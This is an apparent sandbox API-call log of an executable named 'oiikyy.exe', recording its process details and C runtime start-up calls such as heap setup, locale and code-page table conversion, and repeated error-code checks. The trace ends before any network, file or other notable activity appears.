# Flog Txt Version 1
# Analyzer Version: 3.2.2
# Analyzer Build Date: Mar  3 2020 14:14:30
# Log Creation Date: 09.04.2020 03:25:06.734

Process:
	id = "1"
	image_name = "oiikyy.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiikyy.exe"
	page_root = "0x43972000"
	os_pid = "0xae4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x454"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0xb38

	[0045.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8f471b50, dwHighDateTime=0x1d60e1e)) 
	[0045.031] GetCurrentProcessId () returned 0xae4
	[0045.031] GetCurrentThreadId () returned 0xb38
	[0045.031] GetTickCount () returned 0x1146874
	[0045.032] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16506535956) returned 1
	[0045.075] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x404911)) 
	[0045.076] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0045.076] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1d90000
	[0045.078] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000
	[0045.078] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b
	[0045.078] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252
	[0045.078] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208
	[0045.078] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f
	[0045.079] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x214) returned 0x1d907d0
	[0045.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000
	[0045.079] GetCurrentThreadId () returned 0xb38
	[0045.079] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x404538, hStdOutput=0x404871, hStdError=0x1d907d0)) 
	[0045.079] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x8, Size=0x800) returned 0x1d909f0
	[0045.079] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0045.079] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0045.079] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0045.080] SetHandleCount (uNumber=0x20) returned 0x20
	[0045.080] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe\" "
	[0045.080] GetEnvironmentStringsW () returned 0x311cd0*
	[0045.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0045.080] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x0, Size=0x565) returned 0x1d911f8
	[0045.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1d911f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0045.080] FreeEnvironmentStringsW (penv=0x311cd0) returned 1
	[0045.080] GetLastError () returned 0x5
	[0045.080] SetLastError (dwErrCode=0x5) 
	[0045.080] GetLastError () returned 0x5
	[0045.080] SetLastError (dwErrCode=0x5) 
	[0045.080] GetLastError () returned 0x5
	[0045.080] SetLastError (dwErrCode=0x5) 
	[0045.080] GetACP () returned 0x4e4
	[0045.080] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x0, Size=0x220) returned 0x1d91768
	[0045.080] GetLastError () returned 0x5
	[0045.080] SetLastError (dwErrCode=0x5) 
	[0045.081] IsValidCodePage (CodePage=0x4e4) returned 1
	[0045.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1
	[0045.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1
	[0045.081] GetLastError () returned 0x5
	[0045.081] SetLastError (dwErrCode=0x5) 
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0045.081] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1
	[0045.081] GetLastError () returned 0x5
	[0045.081] SetLastError (dwErrCode=0x5) 
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā") returned 256
	[0045.081] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0045.081] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0045.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x99B@X\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256
	[0045.081] GetLastError () returned 0x5
	[0045.081] SetLastError (dwErrCode=0x5) 
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0045.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā") returned 256
	[0045.081] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0045.081] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ젆䄎躮@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0045.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x99B@X\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256
	[0045.082] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x44f958, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiikyy.exe")) returned 0x30
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.082] SetLastError (dwErrCode=0x0) 
	[0045.082] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.083] GetLastError () returned 0x0
	[0045.083] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.084] SetLastError (dwErrCode=0x0) 
	[0045.084] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.085] SetLastError (dwErrCode=0x0) 
	[0045.085] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.086] SetLastError (dwErrCode=0x0) 
	[0045.086] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] RtlAllocateHeap (HeapHandle=0x1d90000, Flags=0x0, Size=0x39) returned 0x1d91990
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.087] GetLastError () returned 0x0
	[0045.087] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
	[0045.088] SetLastError (dwErrCode=0x0) 
	[0045.088] GetLastError () returned 0x0
